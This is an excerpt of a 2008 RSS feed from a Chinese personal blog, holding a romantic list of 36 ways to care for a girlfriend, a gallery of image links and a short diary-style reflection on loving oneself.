<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://rss.tytk.net/styles/temp01.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" version="2.0"><channel><atom:link href="http://rss.tytk.net" type="application/rss+xml" ref="self"></atom:link><fs:self_link href="http://feed.feedsky.com/tytk" type="application/rss+xml"></fs:self_link><lastBuildDate>Sun, 20 Jul 2008 09:03:24 GMT</lastBuildDate><title>腾跃博客</title><description>关注网络安全,搜索引擎和编程源码的技术博客</description><link>http://blog.tytk.net/</link><language>zh-CN</language><copyright>Copyright 2008-2009 tytk.net. Some Rights Reserved.</copyright><pubDate>Sun, 20 Jul 2008 09:04:03 GMT</pubDate><dc:date>2008-07-20T09:04:03Z</dc:date><dc:language>zh-CN</dc:language><dc:rights>Copyright 2008-2009 tytk.net. Some Rights Reserved.</dc:rights><item><title>疼爱女朋友的36计</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/95057841/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=186</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=186&amp;key=d688363c</trackback:ping><description>&lt;p&gt;第一计：不论吃什么好吃的，都会让她先吃第一口&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二计：永远站在她的左边牵着她的手，就算吃饭时也是坐在她的左边用左手握着她的左手&amp;nbsp;&amp;nbsp;&lt;br /&gt;第三计：她的身体不好，陪着她去锻炼身体，陪她去游泳&amp;nbsp;&amp;nbsp;&lt;br /&gt;第四计：不论有多忙，忙完了都会第一个打电话给她&amp;nbsp;&amp;nbsp;&lt;br /&gt;第五计：爬山的时候她累了，要背着她，大汗淋淋也不说累&amp;nbsp;&amp;nbsp;&lt;br /&gt;第六计：她对紫外线过敏，夏天的时候为她打伞&amp;nbsp;&amp;nbsp;&lt;br /&gt;第七计：她不会用刀子，在吃皮萨的时候先把皮萨切成一小块一小块的然后再拿给她吃&amp;nbsp;&amp;nbsp;&lt;br /&gt;第八计：吃她剩下的饭菜&amp;nbsp;&amp;nbsp;&lt;br /&gt;第九计：在一个雨夹雪的夜晚，把鱼肉中的刺细心挑出来喂她吃晚饭&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十计：让她擦过鼻涕的面巾纸直接放到你的口袋里，看到果皮箱以后你再掏出来扔掉&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十一计：看电影的时候，让她可以舒服的靠在你的右肩膀，抱着你的右胳膊&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十二计：她和好朋友出去玩，要会惦记，手机开到很晚，一直等到她回家的电话才睡觉&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十三计：知道她的一切爱好，尽量去适应她的口味&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十四计：去外地出差，会想她打电话给她，如果有时间都会带礼物给她&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十五计：不论什么时候打她的手机，都要坦然告诉她你在哪里在做什么&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十六计：你所有的密码都要让她知道，也从来不改&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十七计：尽量抽时间陪她，即使是很短的时间也会来看她&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十八计：晚上睡前打电话给她，会陪我聊到很晚&amp;nbsp;&amp;nbsp;&lt;br /&gt;第十九计：她送你的东西都要用心保存&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十计：为她拒绝别的女孩子的示好&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十一计：看到她的脸色不好，会陪她去做美容，一直等在美容院门口&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十二计：在她遇到麻烦的事情时会为她想办法，安慰她&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十三计：约会过后要回家时，要在公车上一直看着她，一直到看不到为止&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十四计：知道她总看电脑眼睛疼为她买眼药水&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十五计：给她剪指甲，在她胃疼的时候用手捂着她的胃心疼的不得了&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十六计：会为她穿袜子穿鞋，走在路上看到她的鞋带松了会弯下腰为她系好&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十七计：从不让她提重的东西&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十八计：去寺院上香时为会她祈福&amp;nbsp;&amp;nbsp;&lt;br /&gt;第二十九计：上网查找她喜欢的故事和笑话，然后硬记下来见面时讲给她听&amp;nbsp;&amp;nbsp;&lt;br /&gt;第三十计：会为了陪她而放弃自己的爱好，几乎不再玩游戏&amp;nbsp;&amp;nbsp;&lt;br /&gt;第三十一计：知道有人追她会不安，会吃醋生气&amp;nbsp;&amp;nbsp;&lt;br /&gt;第三十二计：真诚对待她的朋友，在她们有困难的时候尽力去帮忙&amp;nbsp;&amp;nbsp;&lt;br /&gt;第三十三计：保留你们的合影，并告诉周围所有的人你们是情侣&amp;nbsp;&amp;nbsp;&lt;br /&gt;第三十四计：看到她流泪会着急，看到她高兴会开心&amp;nbsp;&amp;nbsp;&lt;br /&gt;第三十五计：会为她流泪，担心和失眠&amp;nbsp;&amp;nbsp;&lt;br /&gt;第三十六计：真心爱她，并对她说你会娶她（真心D哦~） &lt;br /&gt;&amp;nbsp;&lt;/p&gt;</description><category>心情随笔</category><pubDate>Sun, 20 Jul 2008 17:03:24 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/186.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/186.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/186.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/95057841/5164361</fs:itemid></item><item><title>每个男人都会有女朋友</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/95057842/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=185</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=185&amp;key=da18b7b1</trackback:ping><description>&lt;p&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548121.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;332&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548121.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548122.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;348&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548122.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548124.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;348&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548124.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548125.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;332&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548125.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548126.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;332&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548126.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548127.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;343&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548127.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548128.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;351&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548128.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548129.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;333&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548129.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548130.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;340&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548130.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548131.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;353&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548131.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548132.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;351&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548132.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548133.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;338&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548133.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548134.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;343&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548134.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548135.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;343&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548135.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548136.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;338&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548136.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548137.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;339&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548137.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548138.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;343&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548138.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548139.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;340&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548139.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548140.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;341&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548140.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548141.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;344&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548141.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548142.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;339&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548142.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548143.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;346&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548143.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548144.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;338&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548144.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548145.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;344&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548145.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548146.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;341&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548146.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548147.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;339&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548147.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548148.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;343&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548148.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548149.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;341&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548149.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548150.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;342&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548150.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548151.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;338&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548151.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548152.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;337&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548152.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548153.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;325&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548153.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548154.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;328&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548154.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548155.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;341&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548155.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548158.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;354&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548158.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548160.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;353&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548160.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548161.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;354&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548161.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548162.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;345&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548162.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548163.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;351&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548163.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548165.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;360&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548165.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;wbr&gt;&lt;/wbr&gt;&lt;a href=&quot;http://photocdn.sohu.com/20050513/Img225548166.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img style=&quot;vertical-align: baseline! important&quot; height=&quot;344&quot; src=&quot;http://photocdn.sohu.com/20050513/Img225548166.jpg&quot; width=&quot;497&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;/p&gt;</description><category>心情随笔</category><pubDate>Sun, 20 Jul 2008 16:55:52 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/185.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/185.html</guid><dc:creator>a@b.com (admin)</dc:creator><fs:srclink>http://blog.tytk.net/post/185.html</fs:srclink><fs:srcfeed>http://blog.tytk.net/rss.xml</fs:srcfeed><fs:itemid>feedsky/tytk/~7056342/95057842/5164361</fs:itemid></item><item><title>爱自己爱生活</title><link>http://item.feedsky.com/~feedsky/tytk/~7056342/95057843/5164361/1/item.html</link><wfw:comment>http://blog.tytk.net/</wfw:comment><wfw:commentRss>http://blog.tytk.net/feed.asp?cmt=184</wfw:commentRss><trackback:ping>http://blog.tytk.net/cmd.asp?act=tb&amp;id=184&amp;key=1c787ad1</trackback:ping><description>&lt;p&gt;我每天看上去&lt;br /&gt;快快乐乐&amp;nbsp;&amp;nbsp; 傻傻呵呵的&lt;br /&gt;不开心时就上网&amp;nbsp; 聊天&amp;nbsp; 玩游戏&lt;br /&gt;再有就是来论坛转转&lt;br /&gt;我喜欢把自己的心情记下来&lt;br /&gt;就想每天写日记一样&lt;br /&gt;只不过在这会有人能够看到&amp;nbsp;&amp;nbsp; 虽然我们不认识. &lt;br /&gt;不开心时我会吃好多好多零食&lt;br /&gt;所以我有些胖&amp;nbsp;&amp;nbsp; 我同学说的~~~呵呵&lt;br /&gt;我喜欢大家一起玩&amp;nbsp;&amp;nbsp; &lt;br /&gt;但更喜欢独处&amp;nbsp; 自己的世界自己的生活自己的快乐~~~~~&lt;br /&gt;一个人真的很开心 !!!!&lt;/p&gt;&lt;p&gt;但有时候我也怕孤独&lt;br /&gt;所以总和朋友一起混~~~~&lt;br /&gt;我骨子里有很强的叛逆&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;对很多事都是&amp;nbsp;&amp;nbsp; 所以脾气很怪&lt;/p&gt;</description><category>心情随笔</category><pubDate>Sun, 20 Jul 2008 16:51:51 +0800</pubDate><author>a@b.com (admin)</author><comments>http://blog.tytk.net/post/184.html#comment</comments><guid isPermaLink="false">http://blog.tytk.net/post/184.html</guid><dc:creator>a@b.com 